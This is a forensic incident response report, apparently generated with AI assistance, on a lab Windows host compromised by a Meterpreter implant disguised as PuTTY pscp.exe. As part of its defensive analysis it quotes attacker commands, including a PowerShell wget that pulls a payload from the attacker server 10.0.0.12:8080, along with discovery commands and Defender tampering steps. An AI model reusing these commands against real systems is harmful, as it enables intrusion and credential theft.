INCIDENT RESPONSE REPORT

Forensic analysis: test01

Case	test01
Main system	DESKTOP-KJ81A5A
Verdict	COMPROMISED. A Meterpreter payload disguised as PuTTY pscp.exe and served from 10.0.0.12:8080 ran on DESKTOP-KJ81A5A on 2023-11-10 at 11:03:09 UTC. It migrated into a spawned explorer.exe, touched lsass and ran discovery commands. No persistence or lateral movement was found.
Trace period (UTC)	2010-01-19 16:07:10 → 2023-11-10 12:33:26.347270 (99.8 % of the events; full range 1983-08-07 09:00:00 → 2026-10-19 15:05:18)
Incident window (UTC)	2023-11-10 09:16:36 → 2023-11-10 12:16:03
Findings	Critical: 3, High: 6, Medium: 4, Informational: 6
Report date	2026-10-19 16:04 UTC
Classification	CONFIDENTIAL: TLP:AMBER
Production	Report generated by Sleuthline (analyze.py) with the assistance of a language model. Model: anthropic / claude-opus-5-5.

Disclaimer: this report was produced automatically. Every finding is linked to verifiable records of the case database ("Reference" column) and to the original path of the artifact. It must be reviewed and validated by an analyst before any distribution or decision.

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1. Executive summary

Verdict: COMPROMISED. A Meterpreter payload disguised as PuTTY pscp.exe and served from 10.0.0.12:8080 ran on DESKTOP-KJ81A5A on 2023-11-10 at 11:03:09 UTC. It migrated into a spawned explorer.exe, touched lsass and ran discovery commands. No persistence or lateral movement was found.

The Windows 10 lab workstation DESKTOP-KJ81A5A (user medmondson, local administrator) was compromised on 2023-11-10 by a Metasploit Meterpreter implant. All times below are UTC; host local time is UTC-8 (Pacific).

Delivery
- At 10:16 the user browsed http://10.0.0.12:8080/ in Edge and downloaded pscp.exe, a trojanised PuTTY PSCP 0.79.
- Microsoft Defender detected and removed it three times as Trojan:Win64/Meterpreter.E.
- Defender was then weakened: an exclusion for C:\Payloads\ was added at 10:19:24 and real-time protection was disabled at 10:19:46 and again at 11:02:11. Cloud protection and sample submission were also turned off.
- The payload was copied to C:\Payloads\pscp.exe.

Execution and post-exploitation
- At 11:03:09 it was launched from an elevated PowerShell.
- It immediately spawned explorer.exe (PID 7324), injected into it, and opened a remote thread into lsass.exe, which points to credential theft.
- Between 11:04 and 11:13 the attacker used command shells for reconnaissance: tracert, quser, tasklist, netstat -ntb, whoami /user and net user administrator.
- The attacker also loaded the Meterpreter PowerShell extension (Invoke-DcSync bootstrap) and downloaded a further copy of the payload (1.exe) from 10.0.0.12:8080.
- During the session the user saved a plaintext password file (Desktop\not_my_pass.txt).

What was not found
- No persistence, new accounts, lateral movement, data staging or log clearing.

Impact and confidence
- Full interactive control of the host under a high-integrity administrator token.
- Probable exposure of local credentials, from the lsass access and the plaintext file.
- Defender left disabled.
- Confidence is high: Sysmon, Prefetch, SRUM, Defender, PowerShell logs, WebCache and NTFS artefacts agree to the millisecond.
- The environment is a deliberately "dirty" training lab, so some of the Defender tampering may be lab staging rather than attacker action.

Key figures

Findings	19 (critical: 3, high: 6, medium: 4, informational: 6)
Key timeline events	20
Indicators of compromise	20
Questions answered	8 / 8 asked in the guidance
First / last key event (UTC)	2023-11-10 10:16:36 → 2023-11-10 11:16:03

Main findings

ID	Severity	Confidence	Finding	Period (UTC)
F-003	Critical	confirmed	Windows Defender detected Trojan:Win64/Meterpreter.E in pscp.exe downloaded from http://10.0.0.12:8080/pscp.exe (3 download attempts)	2023-11-10 10:16:38.642518 → 2023-11-10 10:19:53.851269
F-008	Critical	confirmed	Execution provenance of C:\Payloads\pscp.exe: launched by the user's elevated PowerShell (PID 1088), corroborated by Prefetch, SRUM, ShimCache, PSReadLine and 4104	2023-11-10 10:19:53 → 2023-11-10 11:43:00

ID	Severity	Confidence	Finding	Period (UTC)
F-005	Critical	confirmed	Execution of C:\Payloads\pscp.exe (Meterpreter masquerading as PuTTY PSCP) and migration/injection into a spawned explorer.exe, then into lsass.exe	2023-11-10 11:03:09.877971 → 2023-11-10 11:03:56.300284
F-012	High	confirmed	Meterpreter chain ran under medmondson's elevated (High IL) token LogonId 0x15347 obtained via UAC consent; local Administrator account enumerated (4798 by net1.exe)	2023-11-09 11:02:46.526328 → 2023-11-10 11:13:35.806786
F-016	High	confirmed	Web origin of the Meterpreter payload: Edge (WebCache) browsing to http://10.0.0.12:8080/ and download of pscp.exe, MOTW preserved on C:\Payloads\pscp.exe	2023-11-10 10:16:36.111277 → 2023-11-10 11:10:56.791298
F-004	High	confirmed	Windows Defender tampering: Tamper Protection toggled, path exclusion C:\Payloads\, cloud reporting disabled, real-time protection disabled	2023-11-10 10:17:40.345882 → 2023-11-10 11:02:12.400713
F-017	High	confirmed	Defense-evasion state at collection time: Defender RTP still disabled and C:\Payloads\ excluded (registry); RTP disabled via Windows Security UI 57 s before pscp.exe launch	2023-11-10 10:19:24.979452 → 2023-11-10 11:02:12.400713
F-006	High	confirmed	Meterpreter post-exploitation from injected explorer.exe: discovery commands (tracert, quser, tasklist), PowerShell extension (MSFConsole host, Invoke-DcSync) and download of 1.exe from 10.0.0.12:8080	2023-11-10 11:04:13.885211 → 2023-11-10 11:11:23.852357
F-007	High	confirmed	Additional discovery commands from Meterpreter cmd shell 5848: netstat -ntb, whoami /user, net user administrator	2023-11-10 11:11:23.838148 → 2023-11-10 11:13:35.796776
F-019	Medium	probable	No collection/staging or bulk exfiltration evidenced; only attacker network peer is 10.0.0.12:8080 (C2/staging), low-volume outbound from injected explorer.exe	2023-11-10 10:15:00 → 2023-11-10 11:43:00
F-014	Medium	confirmed	File-system lifecycle of the payload: 3 Edge downloads of pscp.exe, copy to C:\Payloads\pscp.exe and original sent to the Recycle Bin (still recoverable as $RHOVDEL.exe)	2023-11-10 10:15:26.178698 → 2023-11-10 10:20:20.820023
F-009	Medium	probable	Copies of the payload C:\Payloads\test.exe and C:\Users\medmondson\1.exe: downloaded from 10.0.0.12:8080, no execution evidence	2023-11-10 10:16:38.642518 → 2023-11-10 11:36:48.063750
F-015	Medium	probable	Plaintext credential file C:\Users\medmondson\Desktop\not_my_pass.txt created during the live Meterpreter session (credential exposure)	2023-11-10 10:42:05.178200 → 2023-11-10 11:13:57

Technical assessment

Host: DESKTOP-KJ81A5A, Windows 10 Pro 1903 (build 18362), VMware VM, IP 10.0.0.124. Installed 2023-11-09. Sysmon 15.1 has been logging since 2023-11-10 10:51:10 UTC.

Delivery (T1189/T1204.002, T1105)
- Edge (browser_broker.exe) fetched http://10.0.0.12:8080/pscp.exe at 10:16:43, 10:17:53 and 10:19:36. Each time Defender raised 1116/1117 Trojan:Win64/Meterpreter.E and quarantined the file.
- The copy downloaded at 10:19:53 survived. It was copied at 10:20:10 to C:\Payloads\pscp.exe (MFT 85781, Zone.Identifier ZoneId=3 HostUrl http://10.0.0.12:8080/pscp.exe).
- The Downloads original went to the Recycle Bin as $RHOVDEL.exe.
- At 10:21:41 PowerShell wget downloaded a further copy, C:\Payloads\test.exe (986,624 B).

Defense evasion (T1562.001)
- Defender 5007/5001 events record: Tamper Protection toggled, Exclusions\Paths\C:\Payloads\ (10:19:24), SpyNet/SubmitSamples off, and real-time protection disabled at 10:19:46 and 11:02:11.
- The 11:02:11 disable went through the Windows Security UI (consent.exe → SecurityHealthHost → MsMpEng, Sysmon 13).
- The collection-time registry still shows DisableRealtimeMonitoring=1 and the exclusion.

Execution (T1036.005)
- Sysmon 1 at 11:03:09.902: C:\Payloads\pscp.exe, PID 2196, GUID {e6e9f951-0ded-654e-8f01-000000000500}.
  - Parent: powershell 1088 {…0de1-654e-8801…}, elevated token LogonId 0x15347, High integrity level.
  - Hashes: MD5 DED9E58DD95A88A4BEE89B74A65F05F1, SHA256

ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931, IMPHASH ADD361A4F3939AF38D11873F1D74BDED.
  - Version info: OriginalFileName PSCP, PuTTY suite, Release 0.79.
- Corroborated by Prefetch PSCP.EXE-1DCA12FC.pf (RunCount 1, 11:03:09.900), SRUM, ShimCache, PSReadLine and 4104 entries showing `.\pscp.exe`.

Process injection / migration (T1055)
- 11:03:09.989: pscp.exe spawned explorer.exe PID 7324 {…0ded-654e-9001…}.
- Sysmon 8 CreateRemoteThread into it (StartAddress 0xB30000).
- 11:03:56: explorer 7324 → lsass.exe CreateRemoteThread (T1003.001, probable).

Discovery (T1016, T1033, T1057, T1049, T1087.001)
- cmd 6600 {…0e2d-654e-9101…}: tracert ×3 (including 8.8.8.8) and quser.
- cmd 5848 {…0f52-654e-ad01…}: powershell 736 {…0f56-654e-af01…}, tasklist, netstat -ntb, whoami /user, net user administrator → net1. Net1 produced Security 4798 on RID 500.
- Every command has a matching Prefetch entry.

PowerShell (T1059.001)
- PowerShell 600 at 11:06:40: HostName=MSFConsole, HostApplication=explorer.exe, HostId 26d014a9-f96a-4767-98ca-5ee12cac58b9. These are Meterpreter powershell extension and Invoke-DcSync bootstrap script blocks.

Command and control / ingress transfer (T1071.001, T1105)
- Powershell 736 connected from 10.0.0.124:50009 to 10.0.0.12:8080 (Sysmon 3, 11:10:56) and ran `wget http://10.0.0.12:8080/1.exe -o 1.exe`, creating C:\Users\medmondson\1.exe (986,624 B).
- test.exe and 1.exe show no execution artefacts.
- SRUM: explorer.exe sent 69 KB in the interval ending 11:43.
- The last activity of explorer 7324 was a CLR UsageLog write at 11:16:03.

Credential exposure
- Desktop\not_my_pass.txt (cleartext 'password123!@#') was saved at 11:13:56 by the user's own Notepad, not by the attacker chain.

Negative results (sources available and reviewed)
- No persistence: services, tasks, Run keys, WMI, COM, Startup.
- No account changes and no remote logons, RDP, PsExec or WinRM.
- No archiving or exfiltration beyond the C2.
- No log clearing or timestomping.

2. Scope, sources and methodology

2.1 Analyzed system

Observed host names	DESKTOP-KJ81A5A (154888), WIN-ELL0II3NDSJ (1607), strawberryperl.com (8), widget.mibbit.com (4), perldoc.perl.org (4), search.cpan.org (4), learn.perl.org (4), www.metacpan.org (3), go.microsoft.com (3)
Observed accounts	medmondson (436282), S-1-5-18 (10762), S-1-5-21-1841083384-974204330-411256071-1001 (4666), DESKTOP-KJ81A5A\ medmondson (3753), S-1-5-19 (2332), NT AUTHORITY\SYSTEM (1494), systemprofile (880), Default (850), S-1-5-21-1841083384-974204330-411256071-1000 (548), Public (285), NT AUTHORITY\ SYSTEM (S-1-5-18) (280), WORKGROUP\DESKTOP-KJ81A5A$ (228), LocalService (227), DESKTOP-KJ81A5A\medmondson (S-1-

	5-21-1841083384-974204330-411256071-1001) (181), NetworkService (146)
Machine time zone	ActiveTimeBias = 480 min (UTC = local time + bias)
Time convention of the report	All times are UTC.
Available traces	1,007,010 timeline events, from 1983-08-07 09:00:00 to 2026-10-19 15:05:18

2.2 Collection and processing

KAPE collection (!SANS_Triage target); parsing by recognized tools orchestrated by orchestrator.py; normalization into DuckDB by normalize.py; analysis by analyze.py following the playbook. The raw tool outputs are kept in C:\Sleuthline\cases\test01\parsed and every cited piece of evidence points to them.

Job	Artifact / tool	Status	Tool and version	Duration
amcacheparser	AmcacheParser - Amcache.hve	ok	AmcacheParser latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
appcompatcache	AppCompatCacheParser - ShimCache	ok	AppCompatCacheParser latest (2026-10-19, net9); MFTECmd 2026.5.0.0	2 s
chainsaw	Chainsaw - Sigma detections + Chainsaw rules	ok	chainsaw v2.17.1; chainsaw_mapping v2.17.1; sigma_rules_dir r2026-07-01	11 s
dissect	Dissect - Windows plugins (no secrets)	partial	dissect dissect.target 3.25.1	166 s
evtxecmd	EvtxECmd - EVTX (maps)	ok	EvtxECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	14 s
hayabusa	Hayabusa - detections (all rules)	ok	hayabusa v4.2.0	10 s
jlecmd	JLECmd - Jump Lists	ok	JLECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
lecmd	LECmd - LNK files	ok	LECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
logfileparser	LogFileParser - $LogFile	ok	LogFileParser v2.0.0.53	1607 s
mftecmd_boot	MFTECmd - $Boot	ok	MFTECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	0 s
mftecmd_mft	MFTECmd - $MFT	ok	MFTECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	4 s
mftecmd_sds	MFTECmd - $Secure:$SDS	ok	MFTECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	0 s
mftecmd_usnjrnl	MFTECmd - $UsnJrnl:$J	ok	MFTECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	6 s
pecmd	PECmd - Prefetch	ok	PECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
plaso_setupapi	plaso - setupapi.dev.log (USB)	ok	log2timeline plaso 20260720; psort plaso 20260720	6 s
rbcmd	RBCmd - Recycle Bin ($I)	ok	RBCmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	0 s
recmd_complement	RECmd - complementary batch (EMDMgmt, Active Setup, Print Monitors, BootExecute, PCA)	ok	RECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0; RECmd_ComplementBatch sha256 d65f8bcd7190b4d4	6 s
recmd_kroll	RECmd - Kroll batch (all hives)	ok	RECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0; RECmd_KrollBatch latest (2026-10-19, net9); MFTECmd 2026.5.0.0	10 s
sbecmd	SBECmd - ShellBags	ok	SBECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
sidr	SIDR - Windows Search index	warning	sidr v0.9.2	2 s
sqlecmd	SQLECmd - SQLite databases (browsers, notifications…)	ok	SQLECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	2 s
srumecmd	SrumECmd - SRUM	ok	SrumECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
wxtcmd	WxTCmd - Windows Timeline	ok	WxTCmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
zircolite	Zircolite - Sigma detections	ok	zircolite v4.6.0	11 s

Analysis database	C:\Sleuthline\cases\test01\db\case.duckdb
Pipeline version	commit 364268ea83a1; content sha256 B14AD179924B89A9; deployed 2026-10-19 16:59
Collection integrity	INTACT: 1569 file(s) matching the SHA-1 recorded by KAPE, 0 different, 0 missing, 0 without KAPE hash, 1 expected difference(s) on files copied live in raw mode (checked on 2026-10-19T17:09:59+02:00) Expected differences (raw live copy: $MFT, $LogFile…): C:\

	$LogFile After parsing: no collection file modified by parsing
Normalization	normalize.py v1.1 on 2026-10-19T15:37:20Z; mappings v2.0 (sha256 827ddb5b0a51a48f…)
Normalization warnings	logfileparser/LogFile_2026-10-19_17-10-20/ LogFile_Mft_ObjectId_Entries.csv: 8 rows not matching the header re-read in lenient mode (extra values in columnNN columns, missing values set to NULL) Local time -> UTC: ActiveTimeBias = 480 min (value at collection time; a daylight saving change during the period is not taken into account).
Normalization errors	none
Outputs without a validated mapping	none

2.3 Methodology

The analysis follows the playbook below (PLAYBOOK.md), one step at a time. At each step, the agent queries the read-only database, correlates the sources and records a finding only if all its evidence references exist in the database (automatic check). Artifact dates are interpreted according to their evidential value (e.g. ShimCache = presence, Prefetch = execution).

Step	Purpose	Status	Tool calls	Duration
1	System context and scope	done	16	64 s
2	Triage of automatic detections	done	36	173 s
3	Program execution	done	41	205 s
4	Persistence	done	17	79 s
5	Accounts, authentication and privileges	done	18	86 s
6	Remote access and lateral movement	done	20	97 s
7	User activity on files and folders	done	34	156 s
8	Web browsing, downloads and e-mail	done	13	53 s
9	Defense evasion and anti-forensics	done	29	143 s
10	Collection, exfiltration and communications	done	17	66 s
11	Incident timeline and correlation	done	14	61 s
12	Summary, answers and recommendations	done	22	133 s

2.4 Guidance provided by the analyst

Context	Threat Hunting Lab 1 (github.com/medmondson44/Threat_Hunting_Labs): security has been alerted that this computer may have been compromised. The environment is "a little dirty" (lab setup activity). KAPE collection made on 2023-11-10 around 12:33 UTC. It was copied to the analysis VM on 2026-10-19: dates of 2026-10-19 are copy artefacts, not evidence.
Period of interest	not specified
Questions	Q1. What is the malicious executable? Q2. What process did the malicious executable migrate to? Q3. Were any situational awareness commands run? If so, what were they? Q4. Which IP and port is the malicious executable communicating with? Q5. Are there any other weird processes that can be associated with the malicious executable? If so, did they run? Q6. Give the chain of processes used by the malicious executable (mal.exe -> migrated.exe -> other exes), using ProcessGuid and ParentProcessGuid. Q7. What executable was the malicious executable masquerading as? Q8. What are the hashes of the malicious executable(s), for submission to VirusTotal by the analyst?

Provided IOCs	none
Suspects	none
Exclusions	none
Instructions	none

2.5 Limitations of the analysis

Missing telemetry
- Sysmon telemetry starts at 10:51:10 UTC. The delivery phase (10:16–10:21), including the test.exe download, relies on Defender logs, WebCache, PowerShell logs and NTFS artefacts, with no process-creation events.
- The Sysmon configuration did not log network connections for pscp.exe or the injected explorer.exe, so the Meterpreter session socket (the C2 port) is not recorded. 10.0.0.12:8080 is the only port observed, so Q4 is probable, not confirmed.
- No memory image was analysed. What was injected into explorer.exe and lsass.exe, any credential dumping and any in-memory-only modules cannot be verified.
- No network or proxy logs were available.

Gaps in file evidence
- Hashes are only available for pscp.exe. test.exe, 1.exe and $RHOVDEL.exe were never hashed (no Amcache or Sysmon entry). They are presumed identical from their size only.

Parser issues
- The Dissect job was partial and the SIDR database was dirty (warning status).

Attribution caveats
- The lab is described as "dirty". Some actions (the Defender exclusion and real-time protection disable through the UI, the elevated PowerShell launch) may be the lab operator staging the scenario rather than attacker tradecraft.
- Analyst tooling (KAPE/gkape 11:21–12:31 UTC, Desktop\Tools) and the 2026-10-19 copy timestamps were excluded as noise.

- Step 1 (System context and scope): No raw.native_wifi / native_panther tables available; Dissect job partial, SIDR warning; no Sysmon telemetry before 10:51:11 UTC; 4688 auditing not yet verified.
- Step 2 (Triage of automatic detections): No Sysmon EID 3 for pscp.exe or explorer 7324: the Meterpreter C2 port is not yet established (pivot SRUM network usage, Sysmon 22, firewall/WFP logs in later steps). Hashes of test.exe/1.exe unavailable (no Amcache entries, no Sysmon 1); pscp.exe absent from Amcache. Purpose of the lsass remote thread is inferred. No offline hash set loaded (hash_hits empty).
- Step 3 (Program execution): - **Q4 (C2 IP and port) is still unanswered.** Sysmon EID 3 did not log the pscp.exe or explorer 7324 Meterpreter session; only powershell 736 to 10.0.0.12 (port not yet pulled from the payload) is recorded. The port has to come from the network step: Sysmon 3 DestinationPort, the netstat output context, SRUM, and Security 5156 if it exists.
  - **No hashes for test.exe and 1.exe.** Neither has an Amcache or Sysmon 1 record, so they need to be hashed from disk to confirm they are the same file as pscp.exe.
  - **Defender history not re-checked.** Defender 1116/1117 events on test.exe were not reviewed in this step.
  - **Sysmon coverage gap.** Sysmon only covers activity from 10:51 onward, so anything executed before that relies on Prefetch, SRUM and PSReadLine.
- Step 4 (Persistence): - **Missing tables:** raw.native_startup, raw.native_hosts, raw.dissect_cim_consumerbindings and raw.dissect_msoffice_startup are not in the database. Startup folders and the hosts file were therefore checked through $MFT only, and WMI through the 5861 events only.
  - **Sysmon coverage:** registry and file telemetry exists only from 10:51:11 UTC, so persistence created before then could only be checked in the registry and file-system state at collection time.
  - **Partial Dissect job:** the Dissect job only partly completed.
  - **Not reviewed:** PendingFileRenameOperations was not found in the RECmd outputs.

- Step 5 (Accounts, authentication and privileges): I can't tell if lsass was actually dumped from the 11:03:56 remote thread. There's no credential-use evidence, and no logons happened after 10:42:23. There's no AD/DC telemetry for the Invoke-DcSync attempt: the host is in a workgroup, so no 4662 events exist.
- Step 6 (Remote access and lateral movement): Sysmon did not log the Meterpreter reverse socket of pscp.exe or explorer 7324, so the C2 port is inferred from the staging connection. The output of netstat -ntb was not collected, and there is no packet capture or firewall connection log (no 5156 events).
- Step 7 (User activity on files and folders): - I could not attribute any file read to the attacker: there is no Sysmon file-read event, no 4663 auditing, and the $LogFile only covers 12:08 onward.
  - The PowerShell transcript contents in C:\Transcript (4_WbZ_YN, _h_Jx2Ns) are not in the database.
  - I could not hash $RHOVDEL.exe because Amcache has no entry and I have no file access.
  - The NTFS last-access timestamp is unreliable.
  - SIDR is a dirty database, so some index content may be missing.
- Step 8 (Web browsing, downloads and e-mail): No e-mail client data (Outlook, PST/OST) and no Chromium/Chrome profile tables are in the collection, so e-mail delivery cannot be formally ruled out. Edge legacy history comes only from WebCache, parsed by Dissect, whose job finished with status 'partial'. Download records give only an end timestamp. The three earlier pscp.exe downloads that Defender caught show up only as cumulative visit counts, not as separate download records.
- Step 9 (Defense evasion and anti-forensics): In-memory anti-forensics (e.g. Meterpreter clearev/timestomp attempts that failed, or AMSI/ETW patching) cannot be seen without a memory image. Sysmon registry coverage is limited by the SwiftOnSecurity config. Sysmon has no telemetry before 10:51:11. The PowerShell transcript content was not parsed (file contents not in the DB); only the $MFT metadata was verified.
- Step 10 (Collection, exfiltration and communications): - **Sysmon:** telemetry starts at 10:51, and the SwiftOnSecurity config does not log network events for explorer.exe or pscp.exe. The Meterpreter session socket (destination port) is therefore not observed directly; 8080 is confirmed only for HTTP staging.
  - **Windows Filtering Platform:** WFP 5156 auditing is not enabled.
  - **SRUM:** it has no destination IPs and its last interval ends at 11:43.
  - **Not parsed:** the OneDrive ODL logs and SyncEngineDatabase; there is no 7-Zip history table.
  - **No memory or PCAP:** the content of data read through the Meterpreter session (for example not_my_pass.txt) cannot be determined.
- Step 11 (Incident timeline and correlation): No Sysmon 5 termination events and no Sysmon 3 for pscp.exe/explorer 7324 (config), so session end time and Meterpreter C2 port are inferred (10.0.0.12:8080 from powershell 736 only). No Sysmon coverage before 10:51:10 for the download phase. SHA1 of pscp.exe unavailable (no Amcache entry); test.exe/1.exe/$RHOVDEL.exe hashes not in the collection.
- Step 12 (Summary, answers and recommendations): The Meterpreter C2 port is not recorded, because the Sysmon configuration did not log network connections for pscp.exe or explorer.exe. test.exe, 1.exe and $RHOVDEL.exe have no hashes. No memory or network captures were available, so the activity in lsass could not be verified.

Incomplete parsing sources: dissect (partial), sidr (warning).

3. Incident timeline

Key events established by the analysis (UTC), with their evidence. The complete timeline of the incident window (all artifacts) is provided in incident_timeline.csv.

Timestamp (UTC)	Phase	Event	Description	MITRE	References
2023-11-10 10:16:36	initial access	User browses attacker web server http://10.0.0.12:8080/ in Edge	WebCache records visits to http://10.0.0.12/ and http://10.0.0.12:8080/ (index listing), followed by http://10.0.0.12:8080/pscp.exe (visit_count 4/8, last 10:19:49) and download record to Downloads\pscp.exe at 10:19:53; Zone.Identifier ReferrerUrl=http://10.0.0.12:8080/.	T1105 T1204.002	dissect/browser.history.jsonl#69 dissect/browser.history.jsonl#68 dissect/browser.downloads.jsonl#6 mftecmd_mft/mft.csv#115204
2023-11-10 10:16:43	initial access	Defender detects Meterpreter in pscp.exe downloaded from 10.0.0.12:8080	EID 1116 Trojan:Win64/Meterpreter.E, C:\Users\medmondson\Downloads\pscp.exe, origin http://10.0.0.12:8080/pscp.exe (repeated 10:17:53, 10:19:36).	T1105	evtxecmd/evtxecmd_0.csv#23715
2023-11-10 10:19:24	defense evasion	Defender exclusion C:\Payloads\ added, RTP disabled at 10:19:46	EID 5007 Exclusions\Paths\C:\Payloads\; EID 5001 real-time protection disabled 10:19:46 (again 11:02:12).	T1562.001	evtxecmd/evtxecmd_0.csv#23724 evtxecmd/evtxecmd_0.csv#23728 evtxecmd/evtxecmd_0.csv#23752
2023-11-10 10:20:10	staging	pscp.exe copied to C:\Payloads\ pscp.exe; Downloads original sent to Recycle Bin at 10:20:20	USN FileCreate C:\Payloads\pscp.exe (MFT 85781, keeps Zone.Identifier HostUrl http://10.0.0.12:8080/pscp.exe); 10:20:20 Downloads\pscp.exe (MFT 85774) renamed to $Recycle.Bin\...-1001\$RHOVDEL.exe ($IHOVDEL.exe). Explorer Jump List C:\Payloads last 10:20:10.	T1105	mftecmd_usnjrnl/usnjrnl.csv#87279 mftecmd_usnjrnl/usnjrnl.csv#87301 rbcmd/recyclebin_0.csv#1
2023-11-10 10:21:41	staging	pscp.exe re-downloaded as C:\Payloads\ test.exe via PowerShell wget	PSReadLine "wget http://10.0.0.12:8080/pscp.exe -o test.exe"; $MFT C:\Payloads\test.exe (986,624 B) created 10:21:41.003. No execution evidence.	T1105	mftecmd_mft/mft.csv#109630 dissect/powershell_history.jsonl#5
2023-11-10 10:42:10	context	medmondson interactive logon (LogonId 0x15347 elevated / 0x153A9) – session later used by the attack	4624 LogonType 2 from 127.0.0.1; LogonId 0x15347 is the token carried by every process of the pscp.exe/Meterpreter chain (11:03–11:13).		evtxecmd/evtxecmd_0.csv#26783 evtxecmd/evtxecmd_0.csv#26784
2023-11-10 10:51:10	context	Context: Sysmon 15.1 installed (start of process/network telemetry)	Sysmon service installed by the lab operator; Sysmon telemetry (EID 1/3/8/11/13) exists only from 10:51:10 UTC. The download phase (10:16–10:21) is therefore covered only by Defender, WebCache, $MFT/$UsnJrnl and PowerShell logs, not by Sysmon. Lab setup activity, not attacker.		evtxecmd/evtxecmd_0.csv#18346 evtxecmd/evtxecmd_0.csv#18347
2023-11-10 11:02:11	defense evasion	Defender real-time protection disabled via Windows Security UI (second time), 57 s before pscp.exe launch	consent.exe 11:02:09 → SecurityHealthHost → MsMpEng writes DisableRealtimeMonitoring=1 (Sysmon 13), Defender 5001 at 11:02:12. The value was still set at collection time (SOFTWARE hive).	T1562.001	evtxecmd/evtxecmd_0.csv#18637 evtxecmd/evtxecmd_0.csv#23752 recmd_kroll/recmd_kroll_C.csv#1447
2023-11-10 11:02:57	execution	Elevated PowerShell (PID 1088) started by user explorer; launches .\pscp.exe at 11:03:09	Sysmon 1 powershell.exe GUID {e6e9f951-0de1-654e-8801-000000000500} parent explorer {e6e9f951-0907-654e-5c00-000000000500}; 4104 ".\pscp.exe" 11:03:09.878; pscp.exe PID 2196 parent GUID = 0de1...8801.	T1204.002 T1059.001	evtxecmd/evtxecmd_0.csv#18642 evtxecmd/evtxecmd_0.csv#8742 evtxecmd/evtxecmd_0.csv#18650
2023-11-10 11:03:09	execution	C:\Payloads\pscp.exe executed, spawns and injects explorer.exe (PID 7324)	Sysmon 1 pscp.exe PID 2196 {e6e9f951-0ded-654e-8f01-000000000500} from powershell 1088; Sysmon 1 explorer.exe 7324 {e6e9f951-0ded-654e-9001-000000000500}; Sysmon 8 remote thread pscp→explorer.	T1055 T1036.005	evtxecmd/evtxecmd_0.csv#18650 evtxecmd/evtxecmd_0.csv#18651 evtxecmd/evtxecmd_0.csv#18652 pecmd/prefetch_0.csv#98
2023-11-10 11:03:09	defense evasion	pscp.exe → explorer.exe 7324 CreateRemoteThread (process migration) – corroborated by Prefetch	Sysmon 1 RecordRow 18650: C:\Payloads\pscp.exe PID 2196 GUID {e6e9f951-0ded-654e-8f01-000000000500} (MD5 DED9E58DD95A88A4BEE89B74A65F05F1). Sysmon 1 row 18651 (11:03:09.989): explorer.exe PID 7324 GUID {e6e9f951-0ded-654e-9001-000000000500}, ParentImage C:\Payloads\pscp.exe. Sysmon 8 row 18652 (11:03:09.990): pscp.exe 2196 CreateRemoteThread into explorer 7324, StartAddress 0xB30000. Prefetch PSCP.EXE-1DCA12FC last run 11:03:09.900 (run count 1) — matches Sysmon to the 10 ms, no clock skew between sources.	T1055 T1036.005	evtxecmd/evtxecmd_0.csv#18651 evtxecmd/evtxecmd_0.csv#18652 pecmd/prefetch_0.csv#98
2023-11-10 11:03:56	credential access	Injected explorer.exe creates remote thread in lsass.exe	Sysmon 8 source explorer 7324 → lsass.exe 648, StartAddress 0x0000028F43080000.	T1055 T1003.001	evtxecmd/evtxecmd_0.csv#18654
2023-11-10 11:04:13	discovery	Discovery via cmd.exe child of injected explorer: tracert, quser, later tasklist	cmd 6600 → tracert -h / -m 6 8.8.8.8 / -h 6 8.8.8.8 (11:04:39–11:05:12), quser 11:05:41; cmd 5848 → tasklist 11:11:23.	T1016 T1033 T1057	evtxecmd/evtxecmd_0.csv#18655 evtxecmd/evtxecmd_0.csv#18659 evtxecmd/evtxecmd_0.csv#18682
2023-11-10 11:04:39	discovery	Prefetch/SRUM corroboration of Meterpreter discovery binaries (tracert x3, quser, tasklist, netstat, whoami, net1)	Prefetch: TRACERT.EXE-EC2ABA23 runs=3 (11:04:39, 11:05:01, 11:05:12), QUSER.EXE runs=1 11:05:41, TASKLIST.EXE runs=1 11:11:23, NETSTAT.EXE runs=1 11:12:23, WHOAMI.EXE runs=1 11:13:25, NET1.EXE runs=1 11:13:35. SRUM AppTimeline intervals 11:06–11:14 for the same binaries. Matches Sysmon 1 children of cmd 6600/5848 (parents	T1016 T1033 T1057 T1049 T1087.001	pecmd/prefetch_0.csv#196 pecmd/prefetch_0.csv#99 pecmd/prefetch_0.csv#193 pecmd/prefetch_0.csv#83

Timestamp (UTC)	Phase	Event	Description	MITRE	References
			injected explorer 7324).		pecmd/prefetch_0.csv#217 pecmd/prefetch_0.csv#82
2023-11-10 11:06:40	execution	Meterpreter PowerShell extension loaded in explorer.exe (HostName=MSFConsole)	PowerShell 400/600 HostApplication=explorer.exe HostName=MSFConsole; 4104 IEX base64 bootstrap, Invoke-DcSync* functions.	T1059.001	evtxecmd/evtxecmd_0.csv#28055 evtxecmd/evtxecmd_0.csv#8744
2023-11-10 11:10:55	command and control	1.exe downloaded from http://10.0.0.12:8080/1.exe by powershell (child of injected explorer chain)	4104 'wget http://10.0.0.12:8080/1.exe -o 1.exe'; Sysmon 11 C:\Users\medmondson\1.exe; Sysmon 3 → 10.0.0.12:8080.	T1105	evtxecmd/evtxecmd_0.csv#8814 evtxecmd/evtxecmd_0.csv#18680 evtxecmd/evtxecmd_0.csv#18681
